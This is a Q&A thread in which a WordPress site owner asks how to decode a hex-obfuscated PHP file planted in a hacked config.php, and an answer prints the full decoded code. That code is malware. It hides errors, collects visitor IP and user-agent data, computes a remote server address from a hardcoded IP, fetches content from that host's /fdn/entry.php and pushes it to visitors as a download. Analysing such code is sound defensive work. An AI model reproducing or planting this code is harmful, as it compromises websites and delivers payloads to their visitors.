用十六进制编写的PHP代码[关闭]

Question

My WordPress website has been hacked during the weekend (Asprox Kit), I found the suspicious file. It's the config.php It has been modified and there is PHP code in it but written in Hexadecimal. How can I translate it to understandable code ? I want to know what the hacker wanted to do and how he did it

It looks like this :

str_repeat(chr(${$wrlmzibel}), 8);

function error_404() {
    $uiugkiu = "\x63o\x6ete\x6et";
    $luxtfimjdqc = "\x75\x72i";
    ${"\x47\x4cOB\x41\x4cS"}["\x75\x63\x70\x67d\x6a\x74\x6d\x64"] = "u\x72\x69";
    header("HT\x54\x50/\x31\x2e\x31 \x340\x34\x20Not F\x6f\x75\x6ed");
    ${$luxtfimjdqc} = preg_replace("/(\\?).*\$/", "", $_SERVER["\x52EQUEST\x5fUR\x49"]);

Here is the Pastebin for the entire code : http://pastebin.com/ZY5HRPsY

Answer 1

I've used hexdecoder http://ddecode.com/hexdecoder/ to decode your message but I agree what people say in the comments this isn't a question for stackoverflow. This is your decoded message:

<?php ${"GLOBALS"}["huwivcaqwkyy"]="ips";${"GLOBALS"}["webzjuqbdlt"]="ip";${"GLOBALS"}["pvgwini"]="referer";${"GLOBALS"}["tdxbepfs"]="func";${"GLOBALS"}["grejrgcz"]="h";${"GLOBALS"}["ijfgpxtihwo"]="fp";${"GLOBALS"}["mjqjoxqruwe"]="h_detected";${"GLOBALS"}["cnvsmrinnfzr"]="headers";${"GLOBALS"}["zxroqppm"]="res";${"GLOBALS"}["xizfmmkw"]="data";${"GLOBALS"}["luddhjlpck"]="v";${"GLOBALS"}["chmnjxoltw"]="k";${"GLOBALS"}["pksefjuyyos"]="cookie";${"GLOBALS"}["bxyrokkqh"]="request";${"GLOBALS"}["wrtplsb"]="errno";${"GLOBALS"}["veoofpvrc"]="scheme";${"GLOBALS"}["khtiegm"]="timeout";${"GLOBALS"}["chpubziqyvrj"]="params";${"GLOBALS"}["hdlilmk"]="type";${"GLOBALS"}["dhxsgdhvdhfl"]="filename";${"GLOBALS"}["hkmfjkt"]="url";${"GLOBALS"}["odignmef"]="query";${"GLOBALS"}["ybjfiflnjcv"]="path";${"GLOBALS"}["hrqtxf"]="port";$shacohpm="url";${"GLOBALS"}["nyxqoqitsyph"]="content";${"GLOBALS"}["ssfhjy"]="key";${"GLOBALS"}["wfmmjofchz"]="letter";${"GLOBALS"}["cytjrgk"]="filename";$ckrieemlnceu="query";${"GLOBALS"}["qmrstskrixx"]="i";${"GLOBALS"}["mmorlsb"]="key";error_reporting(0);${"GLOBALS"}["cejbgfb"]="content";ini_set("display_errors",0);$wrlmzibel="key";$qsrgfqqt="path";$ymetmsampeo="key";${$ymetmsampeo}=0;${"GLOBALS"}["msbqwlmlaajm"]="key";$aujkdfbhpz="query";${${"GLOBALS"}["qmrstskrixx"]}=0;$umfbxhduyo="ip";${"GLOBALS"}["uwyqmsivr"]="key";$tkckivsitj="ip";foreach(str_split($_SERVER["REQUEST_URI"])as${${"GLOBALS"}["wfmmjofchz"]}){$rptcjic="i";${${"GLOBALS"}["ssfhjy"]}+=ord(${${"GLOBALS"}["wfmmjofchz"]});${$rptcjic}++;}$ilqsxkyeof="query";if(!(${${"GLOBALS"}["qmrstskrixx"]}/10)){$pfhzdkdejv="i";${$pfhzdkdejv}();exit();}${${"GLOBALS"}["uwyqmsivr"]}^=${${"GLOBALS"}["ssfhjy"]};${${"GLOBALS"}["ssfhjy"]}+=32;${${"GLOBALS"}["msbqwlmlaajm"]}=str_repeat(chr(${$wrlmzibel}),8);function error_404(){$uiugkiu="content";$luxtfimjdqc="uri";${"GLOBALS"}["ucpgdjtmd"]="uri";header("HTTP/1.1 404 Not Found");${$luxtfimjdqc}=preg_replace("/(\\?).*\$/","",$_SERVER["REQUEST_URI"]);${$uiugkiu}=http_request_custom("http://".$_SERVER["SERVER_NAME"]."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");${${"GLOBALS"}["nyxqoqitsyph"]}=str_replace("/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA",${${"GLOBALS"}["ucpgdjtmd"]},${${"GLOBALS"}["nyxqoqitsyph"]});exit(${${"GLOBALS"}["nyxqoqitsyph"]});}${"GLOBALS"}["fdfuftjvmxho"]="query";${$umfbxhduyo}="125.89.44.28";${${"GLOBALS"}["hrqtxf"]}="80";${${"GLOBALS"}["ybjfiflnjcv"]}="/fdn/entry.php";${${"GLOBALS"}["odignmef"]}=array();${$ckrieemlnceu}["ip"]=getIp();${$ilqsxkyeof}["path"]="$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";${${"GLOBALS"}["fdfuftjvmxho"]}["useragent"]=getUseragent();${"GLOBALS"}["lldbkxymxva"]="content";${${"GLOBALS"}["hkmfjkt"]}="http://".convertIpToString(1048202089^(ord(${${"GLOBALS"}["mmorlsb"]}[0])+ord(${${"GLOBALS"}["ssfhjy"]}[1])+(strstr(substr($_SERVER["REQUEST_URI"],-4),".php")==FALSE?65:ip2long(${$tkckivsitj})))).":".${${"GLOBALS"}["hrqtxf"]}.${$qsrgfqqt}."?".http_build_query(${$aujkdfbhpz});${${"GLOBALS"}["lldbkxymxva"]}=@file_get_contents(${$shacohpm});if(strlen(${${"GLOBALS"}["nyxqoqitsyph"]})<10){error_404();}${${"GLOBALS"}["nyxqoqitsyph"]}=explode("
",${${"GLOBALS"}["nyxqoqitsyph"]});${${"GLOBALS"}["cytjrgk"]}=array_shift(${${"GLOBALS"}["nyxqoqitsyph"]});${${"GLOBALS"}["nyxqoqitsyph"]}=implode("
",${${"GLOBALS"}["nyxqoqitsyph"]});if(strstr(${${"GLOBALS"}["dhxsgdhvdhfl"]},".html")===FALSE){${${"GLOBALS"}["hdlilmk"]}="application/octet-stream";header("Content-Type:".${${"GLOBALS"}["hdlilmk"]});${"GLOBALS"}["xhwiqxs"]="filename";header("Content-Disposition: attachment; filename=".${${"GLOBALS"}["xhwiqxs"]});header("Content-Length: ".strlen(${${"GLOBALS"}["nyxqoqitsyph"]}));}echo${${"GLOBALS"}["cejbgfb"]};exit();function http_request_custom($params){$tjtjrwr="params";${"GLOBALS"}["dkmsntchpgsr"]="params";${"GLOBALS"}["cnfczslct"]="params";${"GLOBALS"}["fkvqdn"]="params";${"GLOBALS"}["yzjtoosg"]="params";if(!is_array(${$tjtjrwr})){$zxyvbpjxp="params";${${"GLOBALS"}["chpubziqyvrj"]}=array("url"=>${$zxyvbpjxp},"method"=>"GET");}if(${${"GLOBALS"}["chpubziqyvrj"]}["url"]=="")return FALSE;${"GLOBALS"}["thrnvs"]="fp";${"GLOBALS"}["ieqhnvkf"]="res";if(!isset(${${"GLOBALS"}["yzjtoosg"]}["method"]))${${"GLOBALS"}["chpubziqyvrj"]}["method"]=(isset(${${"GLOBALS"}["chpubziqyvrj"]}["data"])&&is_array(${${"GLOBALS"}["chpubziqyvrj"]}["data"]))?"POST":"GET";$qotcrhqwshc="url";${${"GLOBALS"}["cnfczslct"]}["method"]=strtoupper(${${"GLOBALS"}["chpubziqyvrj"]}["method"]);$gicietxh="url";${"GLOBALS"}["wmblcgc"]="url";if(!in_array(${${"GLOBALS"}["chpubziqyvrj"]}["method"],array("GET","POST")))return FALSE;${${"GLOBALS"}["wmblcgc"]}=parse_url(${${"GLOBALS"}["fkvqdn"]}["url"]);if(!isset(${${"GLOBALS"}["hkmfjkt"]}["scheme"]))${${"GLOBALS"}["hkmfjkt"]}["scheme"]="http";${"GLOBALS"}["auldfyydkj"]="params";if(!isset(${$gicietxh}["path"]))${${"GLOBALS"}["hkmfjkt"]}["path"]="/";${"GLOBALS"}["vguewdxf"]="url";${"GLOBALS"}["vmkoxrpjp"]="url";${"GLOBALS"}["gfzboemo"]="url";if(!isset(${${"GLOBALS"}["gfzboemo"]}["host"])&&isset(${$qotcrhqwshc}["path"])){${"GLOBALS"}["nawcefz"]="url";if(strpos(${${"GLOBALS"}["nawcefz"]}["path"],"/")){${"GLOBALS"}["wvtbrpn"]="url";$rvbinxvez="url";${${"GLOBALS"}["wvtbrpn"]}["host"]=substr(${$rvbinxvez}["path"],0,strpos(${${"GLOBALS"}["hkmfjkt"]}["path"],"/"));${${"GLOBALS"}["hkmfjkt"]}["path"]=substr(${${"GLOBALS"}["hkmfjkt"]}["path"],strpos(${${"GLOBALS"}["hkmfjkt"]}["path"],"/"));}else{${${"GLOBALS"}["hkmfjkt"]}["host"]=${${"GLOBALS"}["hkmfjkt"]}["path"];${${"GLOBALS"}["hkmfjkt"]}["path"]="/";}}${"GLOBALS"}["gyrolyodccom"]="headers";${"GLOBALS"}["nxkshy"]="url";${${"GLOBALS"}["hkmfjkt"]}["path"]=preg_replace("/[\\/]+/","/",${${"GLOBALS"}["vmkoxrpjp"]}["path"]);if(isset(${${"GLOBALS"}["hkmfjkt"]}["query"]))${${"GLOBALS"}["hkmfjkt"]}["path"].="?{$url['query']}";${${"GLOBALS"}["hrqtxf"]}=isset(${${"GLOBALS"}["chpubziqyvrj"]}["port"])?${${"GLOBALS"}["chpubziqyvrj"]}["port"]:(isset(${${"GLOBALS"}["nxkshy"]}["port"])?${${"GLOBALS"}["hkmfjkt"]}["port"]:(${${"GLOBALS"}["vguewdxf"]}["scheme"]=="https"?443:80));${"GLOBALS"}["remsiwvmg"]="errstr";$jriwgsxtqd="fp";${${"GLOBALS"}["khtiegm"]}=isset(${${"GLOBALS"}["chpubziqyvrj"]}["timeout"])?${${"GLOBALS"}["dkmsntchpgsr"]}["timeout"]:30;if(!isset(${${"GLOBALS"}["auldfyydkj"]}["return"]))${${"GLOBALS"}["chpubziqyvrj"]}["return"]="content";${${"GLOBALS"}["veoofpvrc"]}=${${"GLOBALS"}["hkmfjkt"]}["scheme"]=="https"?"ssl://":"";${${"GLOBALS"}["thrnvs"]}=@fsockopen(${${"GLOBALS"}["veoofpvrc"]}.${${"GLOBALS"}["hkmfjkt"]}["host"],${${"GLOBALS"}["hrqtxf"]},${${"GLOBALS"}["wrtplsb"]},${${"GLOBALS"}["remsiwvmg"]},${${"GLOBALS"}["khtiegm"]});if(${$jriwgsxtqd}){$svlazhobbp="request";${"GLOBALS"}["lhmpwoc"]="params";$gdwfgcsx="fp";$awdvdfigpf="params";if(!isset(${${"GLOBALS"}["lhmpwoc"]}["User-Agent"]))${${"GLOBALS"}["chpubziqyvrj"]}["User-Agent"]="Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";$wviokvmo="request";${"GLOBALS"}["csmjkpsz"]="request";${"GLOBALS"}["umehuhqj"]="params";${$wviokvmo}="{$params['method']} {$url['path']} HTTP/1.0
";${$svlazhobbp}.="Host: {$url['host']}
";${${"GLOBALS"}["csmjkpsz"]}.="User-Agent: {$params['User-Agent']}"."
";$uqmgpukc="request";if(isset(${${"GLOBALS"}["umehuhqj"]}["referer"]))${${"GLOBALS"}["bxyrokkqh"]}.="Referer: {$params['referer']}
";if(isset(${${"GLOBALS"}["chpubziqyvrj"]}["cookie"])){${"GLOBALS"}["fcefnkfu"]="params";${${"GLOBALS"}["pksefjuyyos"]}="";$loxiwzyrttq="cookie";${"GLOBALS"}["ckphocbkrg"]="params";if(is_array(${${"GLOBALS"}["fcefnkfu"]}["cookie"])){$ilfymkecn="v";$xjvporljfqln="cookie";${"GLOBALS"}["vrpunkqg"]="cookie";${"GLOBALS"}["jblkqpvxi"]="k";foreach(${${"GLOBALS"}["chpubziqyvrj"]}["cookie"]as${${"GLOBALS"}["jblkqpvxi"]}=>${$ilfymkecn})${${"GLOBALS"}["vrpunkqg"]}.="$k=$v; ";${${"GLOBALS"}["pksefjuyyos"]}=substr(${$xjvporljfqln},0,-2);}else${$loxiwzyrttq}=${${"GLOBALS"}["ckphocbkrg"]}["cookie"];if(${${"GLOBALS"}["pksefjuyyos"]}!="")${${"GLOBALS"}["bxyrokkqh"]}.="Cookie: $cookie
";}${$uqmgpukc}.="Connection: close
";if(${$awdvdfigpf}["method"]=="POST"){${"GLOBALS"}["whyvopvar"]="request";$dxhxibkh="request";$gvqvkczc="params";$ysydczpdsymq="data";${"GLOBALS"}["jpfvolh"]="params";if(isset(${${"GLOBALS"}["jpfvolh"]}["data"])&&is_array(${$gvqvkczc}["data"])){${"GLOBALS"}["rlssuhyc"]="data";$akosdbwayd="v";$yggwowxhcyv="data";$mxpleejeka="data";${"GLOBALS"}["tilcymtxlv"]="k";foreach(${${"GLOBALS"}["chpubziqyvrj"]}["data"]AS${${"GLOBALS"}["chmnjxoltw"]}=>${${"GLOBALS"}["luddhjlpck"]})${${"GLOBALS"}["xizfmmkw"]}.=urlencode(${${"GLOBALS"}["tilcymtxlv"]})."=".urlencode(${$akosdbwayd})."&";if(substr(${${"GLOBALS"}["rlssuhyc"]},-1)=="&")${$yggwowxhcyv}=substr(${$mxpleejeka},0,-1);}${$ysydczpdsymq}.="

";${${"GLOBALS"}["whyvopvar"]}.="Content-type: application/x-www-form-urlencoded
";${$dxhxibkh}.="Content-length: ".strlen(${${"GLOBALS"}["xizfmmkw"]})."
";}${${"GLOBALS"}["bxyrokkqh"]}.="
";${"GLOBALS"}["ypsfjkkits"]="fp";if(${${"GLOBALS"}["chpubziqyvrj"]}["method"]=="POST")${${"GLOBALS"}["bxyrokkqh"]}.=${${"GLOBALS"}["xizfmmkw"]};@fwrite(${${"GLOBALS"}["ypsfjkkits"]},${${"GLOBALS"}["bxyrokkqh"]});${${"GLOBALS"}["zxroqppm"]}="";${${"GLOBALS"}["cnvsmrinnfzr"]}="";${${"GLOBALS"}["mjqjoxqruwe"]}=false;while(!@feof(${${"GLOBALS"}["ijfgpxtihwo"]})){${"GLOBALS"}["ikebptpw"]="res";$rdlxopp="h_detected";$mqvktloy="fp";${"GLOBALS"}["sxhqtjymto"]="res";${${"GLOBALS"}["sxhqtjymto"]}.=@fread(${$mqvktloy},1024);if(!${$rdlxopp}&&strpos(${${"GLOBALS"}["ikebptpw"]},"

")!==FALSE){$nemplhw="params";${${"GLOBALS"}["mjqjoxqruwe"]}=true;${"GLOBALS"}["qdkctux"]="headers";${${"GLOBALS"}["qdkctux"]}=substr(${${"GLOBALS"}["zxroqppm"]},0,strpos(${${"GLOBALS"}["zxroqppm"]},"

"));${${"GLOBALS"}["zxroqppm"]}=substr(${${"GLOBALS"}["zxroqppm"]},strpos(${${"GLOBALS"}["zxroqppm"]},"

")+4);${"GLOBALS"}["sixjpgnnif"]="params";${"GLOBALS"}["ghqdzbfgk"]="params";if(${${"GLOBALS"}["chpubziqyvrj"]}["return"]=="headers"||${${"GLOBALS"}["sixjpgnnif"]}["return"]=="array"||(isset(${${"GLOBALS"}["ghqdzbfgk"]}["redirect"])&&${$nemplhw}["redirect"]==true)){$hdhftqjfibi="k";$ugyhamhc="headers";${${"GLOBALS"}["grejrgcz"]}=explode("
",${${"GLOBALS"}["cnvsmrinnfzr"]});${$ugyhamhc}=array();foreach(${${"GLOBALS"}["grejrgcz"]} as${$hdhftqjfibi}=>${${"GLOBALS"}["luddhjlpck"]}){${"GLOBALS"}["nuhksf"]="v";if(strpos(${${"GLOBALS"}["nuhksf"]},":")){$fgebfn="v";${${"GLOBALS"}["chmnjxoltw"]}=substr(${${"GLOBALS"}["luddhjlpck"]},0,strpos(${${"GLOBALS"}["luddhjlpck"]},":"));${${"GLOBALS"}["luddhjlpck"]}=trim(substr(${$fgebfn},strpos(${${"GLOBALS"}["luddhjlpck"]},":")+1));}${${"GLOBALS"}["cnvsmrinnfzr"]}[strtoupper(${${"GLOBALS"}["chmnjxoltw"]})]=${${"GLOBALS"}["luddhjlpck"]};}}$soprnmivykr="params";$lwipds="params";if(isset(${$soprnmivykr}["redirect"])&&${${"GLOBALS"}["chpubziqyvrj"]}["redirect"]==true&&isset(${${"GLOBALS"}["cnvsmrinnfzr"]}["LOCATION"])){$lhebulmdexg="params";$auaydcdvncw="params";${$auaydcdvncw}["url"]=${${"GLOBALS"}["cnvsmrinnfzr"]}["LOCATION"];if(!isset(${${"GLOBALS"}["chpubziqyvrj"]}["redirect-count"]))${${"GLOBALS"}["chpubziqyvrj"]}["redirect-count"]=0;if(${$lhebulmdexg}["redirect-count"]<10){${"GLOBALS"}["kxqoyvql"]="params";${${"GLOBALS"}["kxqoyvql"]}["redirect-count"]++;${${"GLOBALS"}["tdxbepfs"]}=__FUNCTION__;return@is_object($this)?$this->${${"GLOBALS"}["tdxbepfs"]}(${${"GLOBALS"}["chpubziqyvrj"]}):${${"GLOBALS"}["tdxbepfs"]}(${${"GLOBALS"}["chpubziqyvrj"]});}}if(${$lwipds}["return"]=="headers")return${${"GLOBALS"}["cnvsmrinnfzr"]};}}@fclose(${$gdwfgcsx});}else return FALSE;if(${${"GLOBALS"}["chpubziqyvrj"]}["return"]=="array")${${"GLOBALS"}["ieqhnvkf"]}=array("headers"=>${${"GLOBALS"}["gyrolyodccom"]},"content"=>${${"GLOBALS"}["zxroqppm"]});return${${"GLOBALS"}["zxroqppm"]};}function getUseragent(){return$_SERVER["HTTP_USER_AGENT"];}function getReferer(){${"GLOBALS"}["vwgbvybpxo"]="referer";${${"GLOBALS"}["pvgwini"]}=isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:"-";return${${"GLOBALS"}["vwgbvybpxo"]};}function convertIpToString($ip){return long2ip(${${"GLOBALS"}["webzjuqbdlt"]});}function getIp(){${${"GLOBALS"}["webzjuqbdlt"]}=NULL;if(isset($_SERVER["REMOTE_ADDR"])){${${"GLOBALS"}["webzjuqbdlt"]}=$_SERVER["REMOTE_ADDR"];}if(strpos(${${"GLOBALS"}["webzjuqbdlt"]},",")!==FALSE){${"GLOBALS"}["pcqyjkdou"]="ip";${${"GLOBALS"}["huwivcaqwkyy"]}=explode(",",${${"GLOBALS"}["pcqyjkdou"]});${${"GLOBALS"}["webzjuqbdlt"]}=trim(array_pop(${${"GLOBALS"}["huwivcaqwkyy"]}));}return${${"GLOBALS"}["webzjuqbdlt"]};}